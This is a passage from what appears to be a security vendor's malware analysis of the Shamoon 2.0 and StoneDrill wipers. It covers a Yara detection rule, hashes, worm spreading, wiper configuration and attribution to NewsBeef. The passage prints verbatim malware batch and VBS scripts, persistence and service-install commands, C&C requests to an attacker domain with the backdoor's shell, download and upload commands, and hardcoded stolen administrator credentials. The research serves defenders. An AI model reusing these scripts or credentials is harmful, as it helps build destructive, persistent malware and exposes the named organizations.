be changed to fit the attackers requirements, so hunting for decrypted malware code might help in finding new malware variants or even older samples. With StoneDrill, we developed several Yara rules for the decrypted payloads. Here s one of our Yara rules for a decrypted StoneDrill module: rule StoneDrill_main_sub { meta: author = "Kaspersky Lab" description = "Rule to detect StoneDrill (decrypted) samples" hash = "d01781f1246fd1b64e09170bd6600fe1" hash = "ac3c25534c076623192b9381f926ba0d" version = "1.0" strings: $code = {B8 08 00 FE 7F FF 30 8F 44 24 ?? 68 B4 0F 00 00 FF 15 ?? ?? ?? 00 B8 08 00 FE 7F FF 30 8F 44 24 ?? 8B ?? 24 [1 - 4] 2B ?? 24 [6] F7 ?1 [5 - 12] 00} condition: uint16(0) == 0x5A4D and $code and filesize < 5000000 Interestingly, this rule allowed us to find a new category of samples, which we previously connected with a threat actor named NewsBeef. We wrote about NewsBeef roughly one year ago, in relation to another set of attacks against oil and energy companies from the Middle East. Further analysis indicated the malware samples from StoneDrill and NewsBeef appear to be connected together through numerous internal similarities. The use of simple logic in conjunction with a knowledge of Yara can help attain a state-of-the-art outcome in malware hunting activity. If you would like to learn more, you can join us for the Yara training "Hunt APTs with Yara like a GReAT Ninja" and the advanced Malware Reverse Engineering course on April 1-2, 2017 in St. Maarten. Several private intelligence reports on Shamoon, StoneDrill and NewsBeef are available to subscribers of Kaspersky Lab s Private Intelligence Reports. For more information please contact: intelreports@kaspersky.com 2. Technical details - Shamoon 2.0 - language usage and possible Yemeni links Several good technical articles on Shamoon 2.0 have been published by some of our colleagues, including Palo Alto, IBM X-Force, Symantec and others. Throughout this blog we describe some of the technical details of the new Shamoon 2.0 attacks and what are the most important things that make them stand out. For the analysis we used the earliest set of samples, with a hardcoded attack date of 17 November 2016. However, we also included details from the newer samples, such as hardcoded credentials. During deployment in the victim s environment, the main Shamoon 2.0 wiper module is installed through a Windows Batch file with the following content: @echo off set u100=ntertmgr32.exe set u200=service set u800=%~dp0 copy /Y "%u800%%u100%" "%systemroot%\system32\%u100%" start /b %systemroot%\system32\%u100% %u200% Interestingly, the sample resources appear to have a language ID of Arabic (Yemen) suggesting the attackers might be from Yemen. Of course, we should not disregard the possibility that the resource language could be a false flag planted there by the attackers. 2.1. 32-bit Shamoon dropper/worm (ntssrvr32.exe) SHA256 394a7ebad5dfc13d6c75945a61063470dc3b68f7a207613b79ef000e1990909b 5446f46d89124462ae7aca4fce420423 Compiled 2009.02.15 12:31:44 (GMT), VC 2010 Type I386 Console EXE Size 1 349 632 bytes This executable is a worm designed to infect computers connected to a Windows domain. To achieve this, it relies on a list of hardcoded, previously stolen username/password pairs belonging to administrators of the targeted domain. All the strings in the malware are obfuscated with simple one byte ADD operations and are decrypted upon execution. All the dropped files exhibit file times altered to match that of the system s kernel32.dll. The module only works if it is run with exactly one command line parameter, regardless of the parameter. Otherwise, it simply exits (likely a measure to avoid accidental execution). The hardcoded credentials we have observed so far are: Domain name Username Domain name Username Domain name Username GACA gacaadmin15 CRISTALGLOBAL ckadmin SAICO administrator gacaadmin22 jaladmin muneeb mukhsx01 beadmin Administrator pgSCMADM crmadmin ALAB.local admin mnxxnadmin tvcenter GNET and saud.a2 thirnx01 khaleel Habib1 pamadmin1 mhamdi shokax00 mawale alqifaria backupadmn spadmin gacaadmin08 cloudsvc SIPA SIDF administrator SCSB qomari.a ucam01 shabbir administrator tsfarooq aalshamari bbadmin CLIUSR nbu_service CUCMUser administrator UnityDirSvc email4 UnityMsgStoreSvc TESTDOMAIN .COM SADARA test123 YAMSTEEL Administrator RIYADH faxserver citrbass test456 yidadm If the victim host s system PROCESSOR_ARCHITECTURE environment variable is AMD64 amd64 , the module installs its 64-bit variant. The variant is contained within a resource named X509 . The resource is de-XORed and dropped onto the system under: <%WindowsDir%\system32\ntssrvr64.exe>. It is then installed as a service via the command: cmd.exe /c "ping -n 30 127.0.0.1 >nul && sc config NtsSrv binpath= "C:\WINDOWS\system32\ntssrvr64.exe LocalService" && ping -n 10 127.0.0.1 >nul && sc start NtsSrv 2.1.1. Installation as a Service If the malware is running on a 32-bit system, this module installs itself as a service named NtsSrv Name NtsSrv Display Name Description Microsoft Network Realtime Inspection Service Helps guard against time change attempts targeting known and newly discovered vulnerabilities in network time protocols The service is set as dependent on the RpcSs system service. The properties of the system service LanmanWorkstation are changed so that it depends on the newly created NtsSrv service to allow it to start after the malware. 2.1.2. Worm Functionality Once this module runs (as a service), the worm-spreading functionality is started, targeting every network host within the IPv4 address range, with the same first three bytes of the victim IP and the last byte in the range from 0 to 255, thus operating inside subnet class C (a.b.c.0/24). Here s how it works: 1. The worm connects to a remote machine s registry and disables Remote UAC by setting the LocalAccountTokenFilterPolicy registry key value to 1 in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies \system. 2. If the RemoteRegistry system service is disabled and doesn't run on the target system, the worm reconfigures this service to be auto-started and then starts it immediately. If the connection to a remote registry is unsuccessful, the worm repeats the connection attempt with a hardcoded set of stolen domain administrator credentials. The worm then searches for remote \windows\system32\csrss.exe files by prepending this path with the victim machine s IP as well as system shares: "ADMIN$", "C$", "D$", "E$". 3. Once a remote system32 folder is found, the worm copies itself into this folder under the name ntssrvr32.exe . It schedules a remote job to run ntssrvr32.exe LocalService after 90 seconds. 4. If the remote scheduler is inaccessible, the worm tries to set up NtsSrv and runs the service on the remote machine with the same parameters as it used for self-installation. Attempts with stolen credentials are also performed. 5. An alternative but similar infection method is coded into the worm, where each infection is performed in a separate thread without relying on the scheduler; but it is not used at this time. 2.1.3. Command and Control (C&C) Module After replication, the malware runs a command-and-control communication module. This module is contained within a resource named Pkcs7 . It is de-XORed and dropped as <%WindowsDir%\system32\netinit.exe>. Using the hardcoded credentials, it creates a Windows Task Scheduler job that executes netinit.exe 90 seconds after creation. It waits 95 seconds and then deletes the scheduled job. 2.1.4. Wiper and Encryptor Module Finally, the malware drops the wiper/encryptor module. This module first checks if it s time to run the main payload. The activation period can be set in two ways: 1. It checks if the system time is not earlier than the time specified in the following file: <%windir%\inf\usbvideo324.pnf> 2. If the file doesn t exist, it checks that the system time is not earlier than the hardcoded date: <20:45, 17 Nov 2016> At the specified time, the malware drops two files: The first file, is unused in this attack and contains a public encryption key. This is an indicator that the attackers might be using Shamoon as a ransomware tool in upcoming waves. -----BEGINPUBLICKEY----MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAusZItknNNeV+xjPzIZLyB5m6gaNREC6I3CZQ7F1vDU CaGki83s6JVDo2NGN70mhx4q5NJrgXDzD7McpxDoJsDkKwr5mm3yEs9vmZwHcEWcvU6QbJguFgPJk6zoatVq0 WsfIkN50ywQMVq2zmiJel2UoalPJzCWbAYG0BShXjnlcsfV8GcPW+fNRCSGKVue3RE6cV5HlAjSD8VSk4KERPu Wfvbk/pP0qDE60Uc7K3Bl7uxbHVB2g8unuj8B9d81TKT0hForie8V2N4FT0bdAHUHU6LT/XtAdLCp9/cTUf8zk1MC oxXj6CSg9xKgGgnJazC/u3R0nm/pPriF/ZkwrVhJtDd/1nf4JC1sDmc3mgv0hI+7hthf+fZkv75doHg67Gg6JOZQIMytQ eF8ylnUgC1ZyrAmaxN0OV69zhktzZISdmmkbtyZSHEZzIdC9PF/MJzCK5ylkEI2jQpAabgv34o2o+ZMJLSDZbNrXy9 0LUy8GjtzJYmv02MVLjy7CSgglIbulSgMP4QC/i1fTIPhlSlMyCKnGIKdKY31KFQnoOzI8kudeted8eF/ubpFcna0TDc Ek+Dt8s4pN4/DsGQoncWg9HMyC8Q/MWIE/JuOCisovJ0PYq2aKetDNRMm7THcXalXKD9RpczObRWKGKzMJD onmBm2AETME74MRPmC/FWgsCAwEAAQ== -----ENDPUBLICKEY----- The second file is dropped from a resource named PKCS12 . It is de-XORed and dropped into the %system% directory with a name randomly selected from the following list: caclsrv.exe dvdquery.exe msinit.exe sigver.exe wcscript.exe certutl.exe event.exe ntfrsutil.exe routeman.exe ntnw.exe clean.exe findfile.exe ntdsutl.exe rrasrv.exe netx.exe ctrl.exe gpget.exe power.exe sacses.exe fsutl.exe dfrag.exe ipsecure.exe rdsadmin.exe sfmsc.exe extract.exe dnslookup.exe iissrv.exe regsys.exe smbinit.exe The dropped payload is then scheduled to run in the same way as the C&C communication module. We describe it in detail below. 2.2. 64-bit Shamoon Dropper (ntssrvr64.exe) SHA256 47bb36cd2832a18b5ae951cf5a7d44fba6d8f5dca0a372392d40f51d1fe1ac34 8fbe990c2d493f58a2afa2b746e49c86 Compiled 2009.02.15 12:32:19 (GMT), VC 2010 Type AMD64 Console EXE Size 717 312 bytes This dropper has the same functionality as the 32-bit variant. This version is contained within a resource named X509 . The resource is de-XORed and dropped onto the system under: <%WindowsDir%\system32\ntssrvr64.exe>. 2.2.1. C&C Communication Module (netinit.exe) SHA256 61c1c8fc8b268127751ac565ed4abd6bdab8d2d0f2ff6074291b2d54b0228842 5bac4381c00044d7f4e4cbfd368ba03b Compiled 2009.02.15 12:29:20 (GMT), VC 2010 Type I386 Console EXE Size 159 744 bytes SHA256 772ceedbc2cacf7b16ae967de310350e42aa47e5cef19f4423220d41501d86a5 ac4d91e919a3ef210a59acab0dbb9ab5 Compiled 2009.02.15 12:29:41 (GMT), VC 2010 Type AMD64 Console EXE Size 183 808 bytes The strings in the C&C module are obfuscated by simple ADD operations and are decrypted upon execution. This module periodically connects to a C&C with the following URL: hxxp://server/category/page.php?shinu=w74K9/xQp1VjJfwwadq4HCl7VheuQXk49YnNkb XR+0ghrH YIRFE51FQskZya+jIPqo3VlOEpfvvgxvO26pZ3oA== The strange server in the URL string suggests multiple possibilities: 1. It is used by mistake. 2. It may suggest a placeholder value that wasn t set for the purposes of this attack. 3. A server with this name might be installed by the attackers somewhere inside the local network. 4. The local network may rely on a now poisoned DNS server. The string also contains the word shinu= , which is quite interesting. This is possibly a transliteration of the Gulf Arabic slang word for what? . This particular slang is used in several countries, notably Iraq, but also sometimes in Kuwait and Bahrain. The shinu parameter string contains the following encoded information about the victim system: Host IP and MAC addresses Windows version information Windows input locale IDs (keyboard layouts) Number of connection attempts, or content of the <%WINDIR%\inf\netimm173.pnf> file if the file exists. The file contains information about changes made by the wiper payload module. If the direct connection fails, this module tries to connect using a hardcoded proxy server of 1.1.1.1:8080 . This supports the assumption that the malware deployed in this case does not include a working C&C and the operators used a raw, unconfigured C&C module. Data received from the C&C server is handled in two possible ways: 1. An executable file is downloaded as <%TEMP%\Temp\filer%rndDigits%.exe> and executed immediately thereafter. 2. A file is dropped in <%WINDIR%\inf\usbvideo324.pnf> that contains the wiper payload s activation time. This effectively allows the attackers to configure the wiper time bomb. 2.2.2. Disk Wiper/Encryptor Module SHA256 128fa5815c6fee68463b18051c1a1ccdf28c599ce321691686b1efa4838a2acd 2cd0a5f1e9bcce6807e57ec8477d222a Compiled 2009.02.15 12:30:19 (GMT), VC 2010 Type I386 Console EXE Size 282 112 bytes SHA256 c7fc1f9c2bed748b50a599ee2fa609eb7c9ddaeb9cd16633ba0d10cf66891d8a c843046e54b755ec63ccb09d0a689674 Compiled 2009.02.15 12:30:41 (GMT), VC 2010 Type AMD64 Console EXE Size 327 680 bytes Despite the widespread coverage of the resurgence of the Shamoon wiper, few have noted the new ransomware functionality. The wiper module of Shamoon 2.0 has been designed to run as either a wiper or an encryptor (ransomware). 1. The module is configured to wipe the disk using the Death of Alan Kurdi photo. The picture depicts a three-year-old Syrian refugee who drowned as his family attempted to reach Europe and travel on to Canada. The module can also be configured to wipe the disk using random data. 2. In the encryption/ransomware mode, a weak pseudo-random RC4 key is generated, which is further encrypted by the RSA public key and stored directly on the hard drive (at <\Device\Harddisk0\Partition0>) starting at offset 0x201, right after the master boot record. 3. Once the module is extracted, it drops a legitimate driver named to the disk and starts it. This driver is used for low-level disk operations and is well known from previous Shamoon attacks. Before accessing this driver, the system date is changed to a random day between the 1st and 20th of August, 2012 to fool the driver s license checks and evaluation period. 4. The payload employs the file <%WINDIR%\inf\netimm173.pnf> to keep track of the operations performed. The content of this file is sent to the C&C server by the communication module. 5. The strings in this module are also obfuscated by simple ADD operations and decrypted at start. 2.2.3. Payload Configuration There are two 25-byte length configuration strings in the wiper payload: SPPPPPPPPPMPPHHHHHHHHHHBO NNNNNNNNNNWNNNNNNNNNNNWWW Letters in the first string specify a type of operation to be performed, with the available operations explained below. The second string designates how these operations should be performed: the letter 'N' means that the operation will be executed synchronously in separate threads, the letter 'W' means the operation will wait until a previous step is completed. Here s an explanation of the configuration string above: Letter Operation The first operation, marked by the letter 'S' wipes (or encrypts) the content of the Shamoon 2.0 components (netinit.exe, ntssrvr32.exe, and wiper module itself). Using the low-level disk access driver makes it possible to wipe the body of a running executable. The next 9 'P' letters indicate wiping (or encrypting) of the files placed inside the traditional user folders: desktop, download, document, desktop, download, document, picture, video, and music. The 'M' wipes (or encrypts) the NTFS MFT data on all accessible drives mapped from A: to Z:, except the system drive. The next two 'P' letters wipe (or encrypt) files inside the following folders: and The 10 'H' letters wipe (or encrypt) some of the partitions from 9 to 0 on hard disks 9-0 (SystemBoot and FirmwareBootDevice partitions and partition 0 on the system drive are skipped in this step) The 'B' letter wipes (or encrypts) part of the partition designated as FirmwareBootDevice The final 'O' wipes (or encrypts) the Master File Table on the system drive, the first sector of \Device\Harddisk0\Partition0, and the last part of the SystemBootDevice partition. Two minutes after all tasks are completed, the system is rebooted with the following command: shutdown -r -f -t 2 2.2.4. Low-Level Disk Access Driver (DRDISK.SYS) SHA256 4744df6ac02ff0a3f9ad0bf47b15854bbebb73c936dd02f7c79293a2828406f6 1493d342e7a36553c56b2adea150949e Compiled 2011.12.28 16:51:24 (GMT), VC 2005 Type I386 Native Size 27 280 bytes SHA256 eaee62a8238189e8607b24c463a84c83c2331a43b034484972e4b302bd3634d9 42f883d029b47f9d490a427091da3f5d Compiled 2011.12.28 16:51:29 (GMT), VC 2005 Type AMD64 Native Size 31 998 bytes These signed legitimate drivers form part of the EldoS RawDisk product. This product is designed to provide direct access to disks and protected files from user-mode applications. Sadly, this functionality has been adopted and abused by multiple threat actors to develop wiper malware, as in the case of the original Shamoon or the Lazarus Destover malware used in the infamous Sony Pictures Entertainment attack of 2014. In order to bypass the EldoS RawDisk drivers evaluation period license checks, the Shamoon 2.0 malware changes the system date to a random day between the 1st and 20th of August, 2012. 2.3. From Shamoon 2.0 to StoneDrill 1.0 StoneDrill has some style similarities to the previously discovered Shamoon samples. Particularly interesting is the heavy use of anti-emulation techniques in the malware, which prevents the automated analysis by emulators or sandboxes. One of the most interesting characteristics is the presence of the Persian language in multiple resource sections. Samples of the StoneDrill malware were uploaded multiple times to multiscanner systems from Saudi Arabia between 27 and 30 November 2016. One StoneDrill victim was also observed in the Kaspersky Security Network (KSN) in Europe. 2.4. The StoneDrill wiper SHA256 62aabce7a5741a9270cddac49cd1d715305c1d0505e620bbeaec6ff9b6fd0260 0ccc9ec82f1d44c243329014b82d3125 Compiled 1999.02.08 06:15:47 (GMT) fake, VC 2015 Type I386 GUI EXE Size 195072 bytes The malware PE file timestamp is fake; however, the authors forgot to alter a timestamp inside the debug directory. The real timestamp from the debug directory points to: 2016.11.14 21:16:45 1. The module highlighted above starts from a heavy anti-emulation function that contains numerous WinAPI calls with invalid parameters. The goal is to break through the detection of antivirus emulators and heuristic detection. 2. The second anti-emulation technique is run before the payload execution: this module creates a hidden dialog window, then finds and programmatically clicks the button on that dialog. After that, another series of incorrect WinAPI calls follow. 3. The malware then finds the file path of the default Internet browser app by looking into the following registry keys: a. SOFTWARE\Microsoft\Windows\Shell\Associations\UrlAssociations\http\Us erChoice b. HKCR\%ProgId_val%\shell\open\command 4. The malware then checks to ensure the browser is not LaunchWinApp.exe or is compiled for the 64-bit architecture, in which case the path of %PROGRAM_FILESX86%\Internet Explorer\iexplore.exe is used instead. 5. The default browser is then started and the wiper module is injected into the running browser memory. 6. After the successful start of the wiper module, the following script is dropped and executed: %temp%\C-Dlt-C-Org-T.vbs 7. Another temporary file is dropped %temp%\C-Dlt-C-Trsh-T.tmp which contains the name of the Injector module; this file is deleted after execution is completed. WScript.Sleep(10 * 1000) On Error Resume Next Set WshShell = CreateObject("Scripting.FileSystemObject") While WshShell.FileExists("%selfname%") WshShell.DeleteFile "%selfname%" Wend WScript.Sleep(10 * 1000) WshShell.DeleteFile "%temp%\C-Dlt-C-Org-T.vbs" Set WshShell = Nothing %temp%\C-Dlt-C-Org-T.vbs File contents 2.4.1. The StoneDrill Disk Wiper Module SHA256 bf79622491dc5d572b4cfb7feced055120138df94ffd2b48ca629bb0a77514cc 697c515a46484be4f9597cb4f39b2959 Compiled 2016.11.14 21:16:40 (GMT), VC 2015 Type I386 GUI EXE Size 130 560 bytes Unlike Shamoon, the StoneDrill disk wiper module is not written onto disk but instead is injected directly into the user s preferred browser process memory. This module inherits the second anti- emulation trick only (clicking the button on the hidden dialog window); it is also obfuscated with the same alphabet-based string encryption. If the browser process privileges do not permit the raw disk wiping, only the user-accessible files are deleted. Depending on the configuration, this module wipes with random data one of following possible targets: All accessible physical drives by using the device path \\.\PhysicalDrive All accessible logical drives by using device path \\.\X: Recursively wipes and deletes files in all folders except Windows on all accessible logical drives Places a special emphasis on wiping files named asdhgasdasdwqe%digits% in the root folder of the disk. Just like Shamoon, after the wipe process is completed, the system is rebooted. 2.5. The StoneDrill backdoor According to the PE timestamps from StoneDrill sample two and sample one (2016.10.19 and 2016.11.14 respectively), this malware file was compiled a month before the previously described StoneDrill sample. However, internally this tool wrapper (injector) looks like a more modern evolution of the previously discussed wiper wrapper. The sample is generally of low quality, with many unused code blocks, unreliable anti-emulation and few non critical bugs. In some cases functions are executed but the results are not used: Is the current user a domain administrator? Is the antivirus process currently running? Is the current process running in a virtual environment such as VMware or VirtualBox? 2.6. The StoneDrill Installer/Injector module SHA256 69530d78c86031ce32583c6800f5ffc629acacb18aac4c8bb5b0e915fc4cc4db ac3c25534c076623192b9381f926ba0d Compiled 2016.10.19 14:26:01 (GMT), VC 2015 Type I386 GUI EXE Size 195072 bytes 2.6.1. First step: anti-emulation tricks This module is very similar to the above discussed injector module, utilizing the same set of anti-emulation tricks, injection into the user s preferred browser and VBS scripts. A distinction in this sample is the wide utilization of the WMI command-line (WMIC) utility to run tasks such as running the dropped VBS script or making registry modifications. Strings in this module are encrypted in two ways: Alphabet replacement SSE XOR 0x5235 2.6.2. Second step: name construction and installation This module checks if it is already running from the %COMMON_APPDATA%\Chrome folder. In cases where the malware is started from a different folder, the installation procedure is started. During installation, a name is constructed through concatenation of three randomly selected strings from the below three sets, for example - PowerNetworkProxy, RAMFirewallTransfer, LocationAgentFramework: Set1 Set2 Set3 Intel, AMD, Microsoft, Windows, Java, Adobe, Cisco, SunGard, Query, Location, Power, NFC, DotNet, MFC, WMI, SQL, Office, Bitlocker, Map, Fingerprint, Packet, Registery, RAM, CPU, ROM, Memory, Monitor, CDROM, Run-time, Task, Ethernet, Application, Lockscreen, Cloud, Browser, Cash, Desktop, Display File, System, Service, Device, Software, Hardware, VM, Network, Performance, Graphic, Engine, Agent, Data, Wizard, Server, Media, History, Storage, Core, boot, Gaming, Firewall Manager, Arranger, Controller, Host, Help, Diagnostics, LogOn, Plug, Proxy, Events, Transfer, Policy, Recovery, Details, Provider, Adapter, CleanUp, Encryption, Extention, APP, Client, Menu, Stub, Execute, Luncher, Framework, Tester, Model, Backup, API The VBS script %TEMP%\C-PDC-C-Cpy-T.vbs is then dropped in %TEMP%\ On Error Resume Next Set WshShell = CreateObject("Scripting.FileSystemObject") WshShell.CopyFile "%SELF_NAME%" , "%COMMON_APPDATA%\Chrome\%SELECTED_NAME%.exe" Set WshShell = Nothing C-PDC-C-Cpy-T.vbs body template The script is executed using the following command to do self-copy into the %COMMON_APPDATA%\Chrome folder: cmd /c WMIC Process Call Create "C:\Windows\System32\Wscript.exe //NOLOGO %TEMP%\C-PDC-C-CpyT.vbs" Another VBS script named C-PDI-C-Cpy-T.vbs is dropped into %TEMP% folder and executed in the same method (via WMIC used to make a second malware copy with pathname) C:\ProgramData\InternetExplorer\%SELECTED_NAME%Stp.exe On Error Resume Next Set WshShell = CreateObject("Scripting.FileSystemObject") WshShell.CopyFile "%COMMON_APPDATA%\Chrome\%SELECTED_NAME%.exe" , "C:\ProgramData\InternetExplorer\%SELECTED_NAME%Stp.exe" C-PDI-C-Cpy-T.vbs body template Pathnames of these two VBS files as well as the initial malware pathname are written into %TEMP%\C-Dlt-C-Trsh-T.tmp file. At the end of the installation procedure the copy of malware (found in %COMMON_APPDATA%\Chrome\%SELECTED_NAME%.exe ) is executed (via cmd /c wmic process call create ) and the initial process terminates itself. 2.6.3. Third step When the malware is started from within the %COMMON_APPDATA%\Chrome folder, the FileInfo.txt file is created in the same folder and contains the pathname of the first copy of malware ( %COMMON_APPDATA%\Chrome\%SELECTED_NAME%.exe Then the third copy of the malware is created by the command %COMSPEC% /c copy "%SELFNAME" %TEMP%\bd891.tmp , which checks the target file to verify if command execution is successful, then deletes the bd891.tmp file. The last mentioned is used as another anti-emulation trick in the StoneDrill arsenal. 2.6.4. Fourth step: Payload injection The payload is extracted from the resources section, decrypted and unpacked similarly to the previously described wiper injector module. The difference here is that for the decryption of the payload module, SSE instructions are used. In the same style, the payload is injected into the user preferred browser process, with an additional step after the payload module injection: the resource segment responsible for the payload configuration is replaced in memory with the resource taken from the parent module. After the payload start is attempted, the VBS files listed inside C-Dlt-C-Trsh-T.tmp and C-DltC-Trsh-T.tmp are deleted. 2.6.5. Fifth step: If not started If the payload is not started, then %TEMP%\C-Dlt-C-Org-T.vbs is dropped and executed to delete initial malware copy. WScript.Sleep(10 * 1000) On Error Resume Next Set WshShell = CreateObject("Scripting.FileSystemObject") While WshShell.FileExists("%initial_malware_pathname%") WshShell.DeleteFile "%initial_malware_pathname%" Wend WScript.Sleep(10 * 1000) WshShell.DeleteFile "%TEMP%\C-Dlt-C-Org-T.vbs" Set WshShell = Nothing 2.7. StoneDrill remote access payload module SHA256 105ee777ad31a58301310719b49c7b6a7e957823e4dabbfeaa6a14e313008c1b e3a82d1db3ae8b189d2e1e0a22d6c82f Compiled 2016.10.19 16:49:36 (GMT), VC 2015 Type I386 GUI EXE Size 317 440 bytes Version 2.0.1610.76 This module is not dropped into disk but injected directly into the user preferred browser process memory. The module is written in C++ with the use of STL classes, with numerous forgotten debug strings. 2.7.1. First step: Decryption Strings in this module are encrypted by ROR, NEG, ADD or simply XOR. An unreliable antiemulation technique is utilized which makes the whole module unstable. The author assumed that the execution of the Sleep function with parameter 4020 milliseconds would increase the system value of KUSER_SHARED_DATA::InterruptTime to four seconds (rounded to the nearest second). If the InterruptTime is increased only by two seconds this module just exits immediately. In case of other values, the module will crash due to the incorrect decryption of strings. The configuration block is then loaded from resources and decrypted by two passes of XOR. The original module configuration resource is empty - the injector module just patches this resource, replacing the configuration with its own. In the configuration block, and are the C&C servers, is part of the connection query and seems to be a client ID. 2.7.2. Second step: Registering autorun of installer (injector) module The malware reads and de-XORs content of the C:\ProgramData\InternetExplorer\FileInfoStp.txt file, then deletes and unregisters the autorun file defined in FileInfoStp.txt (autorun key deleted from registry) with the command: cmd /c REG DELETE HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Stp /f Next, the file C:\ProgramData\InternetExplorer\FileInfoStp.txt is deleted and replaced by the command: cmd /c Copy /Y "C:\ProgramData\Chrome\FileInfo.txt" "C:\ProgramData\InternetExplorer\FileInfoStp.txt" The malware then drops and executes file %TEMP%\C-Strt-C-Up-T.bat ping 1.0.0.0 -n 1 -w 20000 > nul @ECHO OFF wmic /NameSpace:\\root\default Class StdRegProv Call SetStringValue hDefKey = "&H80000001" sSubKeyName = "Software\Microsoft\Windows\CurrentVersion\Run" sValue = "C:\ProgramData\InternetExplorer\%SELECTED_NAME%Stp.exe" sValueName = "Stp" Del "%TEMP%\C-Strt-C-Up-T.bat" 2.7.3. Third step: C&C server selection Multiple attempts are made to connect to the hosts configured in the ux and uy fields (found in the sample configuration). The malware issues GET requests to ct_if/ctpublic/Check_Exist.php . The server answering with the HANW-J6YS-P81J-KSD7 string is selected as the current live server. C&C login The next connection is a login attempt with the following request: POST / HTTP/1.1 Host: www.eservic.com User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:23.0) Gecko/20100101 Firefox/23.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: http://www.eservic.com/ Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 96 username=MD5Sum(login)&password=MD5Sum(password)&button=Login 2.7.4. Fourth step: Get commands list During the fourth step, the malware requests available commands from the C&C: /insert/index?id=%cid_from_config%%random_part_of_client_id%&hst=%base64encoded_computer_and_user_ name_cpuid0_checksum%&ttype=102&sta te=201 HTTP/1.1 Host: www.eservic.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Cookie: %string_received_in_login_step% Connection: close Here is a list of the StoneDrill commands available: Command Internal Help Strings Command Description 1. OS (The is Response the Operating System of the Client Machine) Return details about Windows version, edition, architecture and environment version 2. Version (The Response is Version of Running Product on the Client Machine) 2.0.1610.76 string returned time 3. Time (The Response is Current Time of the Client Machine) Current system and local time are returned shell 4. Shell Value (Give You Access the CMD Console in the Client Machine; Value is Anything that You Want to Writing in the CMD Console of the Client Machine and Execute it) Stdout/stderr streams of executed cmd.exe /C %value% command are captured and send back to CC screenshot 5. Screenshot (The Response is a JPEG File 1-At first the malware takes screenshot into of the Screenshot of the Client Machine randomly named .bmp file in %TEMP% folder. Desktop) 2-Then takes second screenshot, now with jpeg compression and store it as .jpg file with random name. In case of success jpg creation bmp file is deleted. 3-Send screenshot file to C&C and delete temporary files. delay 6. Delay Value (Adjust the Time-Interval for the Server and Client Communication; Value can be Between 1000-100000; 1000 is HighEnd Speed) download 7. Download "From" "To" (Download a File From "a URL" To "a Directory on the Client Machine") Downloaded file initially stored as %TEMP%\Test.tmp , then deXORed with 0xCC and copied to specified location with VBS script CDled-C-Cpy-T.vbs as previously described, file is then executed with command: "cmd /c WMIC Process Call Create C:\Windows\System32\Wscri pt.exe //NOLOGO upload 8. Upload "From" (Upload a File From "a Directory on the Client Machine") update 9. Update "From" (Download the New Version of the Product From "a URL" and Execute it on the Client Machine) Downloaded file initially stored with random name inside %TEMP% folder, then renamed by using CUptd-C-Cpy-T.vbs and C-Up-C-Dt-T.bat similar to previous steps uninstall 10. Uninstall (Uninstall The Running Product from the Client Machine and Delete All SideEffects) Unregister autorun with command: cmd /c REG DELETE HKCU\SOFTWARE\Microsoft\ Windows\CurrentVersion\Run /v Stp /f Then drop and run C-Un-C-Instl-T.bat with body: ping 1.1.1.1 -n 5 -w 2000 > nul RMDIR /S /Q "C:\ProgramData\Chrome\" RMDIR /S /Q "C:\ProgramData\InternetExplorer\" Del "%TEMP%\C-Un-C-Instl-T.bat" Then terminates itself. antivirus 11. Antivirus (The Response is Installed Antivirus on the Client Machine) Queries Windows Management Instrumentation (WMI) database for installed AntiVirusProduct details. Runs additional registry lookups for details of: Avast, McAfee, Avg, BitDefender products. help 12. Help (Response is the List of Supported Commands in the Current Version of Product that Running on the Client Machine) List title is "-Command List of the Current Vesrion are:" 2.8. StoneDrill similarities with Shamoon Of course, one of the most important questions is the following: are StoneDrill and Shamoon connected? This is a difficult question to answer. However, by listing the similarities and differences between the two, anyone can come up with their own answer. Although we used a Yara built on Shamoon samples to find StoneDrill, there are several other similarities between the two: Both Shamoon and StoneDril appear to be targeting Saudi organizations. Samples have been compiled around the same time - October-November 2016. Similar to previous generations of Shamoon, StoneDrill uses encrypted PE resources to store the actual payload. The most important differences include: To avoid detection by emulators and sandboxing tools, the StoneDrill authors used far more advanced anti-emulation techniques than Shamoon. StoneDrill utilises VBS scripts to run self-delete scripts, while Shamoon didn t use any external scripts. A distinction from the Shamoon malware is that the strings encryption in StoneDrill is performed by alphabet table replacement. StoneDrill does not use drivers during deployment, but rather through memory injection into the victim s preferred browser. 2.9. StoneDrill similarities with NewsBeef Our initial analysis of StoneDril revealed some similarities with a threat actor we ve seen before NewsBeef. While we call this the NewsBeef APT, this group has been reported in the past as Charming Kitten or Newscaster (in 2014). The similarities between NewsBeef and StoneDrill make us believe there is a very strong connection there. Below we list some of the similarities we observed: 2.9.1. Winmain Signature In NewsBeef: B8 08 00 FE 7F FF 30 8F 44 24 20 68 B4 0F 00 00 FF 15 78 70 44 00 B8 08 00 FE 7F FF 30 8F 44 24 24 8B 4C 24 24 2B 4C 24 20 B8 6B CA 5F 6B F7 E1 C1 EA 16 80 EA 02 88 15 95 71 45 00 In StoneDrill: B8 08 00 FE 7F FF 30 8F 44 24 14 68 B4 0F 00 00 FF 15 4C B0 63 00 B8 08 00 FE 7F FF 30 8F 44 24 10 8B 44 24 10 33 D2 2B 44 24 14 B9 80 96 98 00 F7 F1 2C 02 A2 61 D6 64 00 2.9.2. The OS command In NewsBeef: In StoneDrill: In StoneDrill 2.9.3. The Update command In NewsBeef: In StoneDrill: 2.9.4. The Strings Decryption routine In NewsBeef: In StoneDrill: 2.9.5. The Payload Winmain In NewsBeef: In StoneDrill: 2.9.6. Command center name similarities Besides the technical code similarities listed above, we noticed that the naming scheme for the NewsBeef and StoneDrill C&Cs is quite similar. For instance: StoneDrill NewsBeef www.chromup[.]com www.chrome-up[.]date service1.chrome-up[.]date service.chrome-up[.]date www.eservic[.]com www.serveirc[.]com 3. Conclusions Our discovery of StoneDrill gives another dimension to the existing wave of wiper attacks against Saudi organizations that started with Shamoon 2.0 in November 2016. Compared to the new Shamoon 2.0 variants, the most significant difference is the lack of a disk driver used for direct access during the destructive step. Nevertheless, one does not necessarily need raw disk access to perform destructive functions at file level, which the malware implements quite successfully. 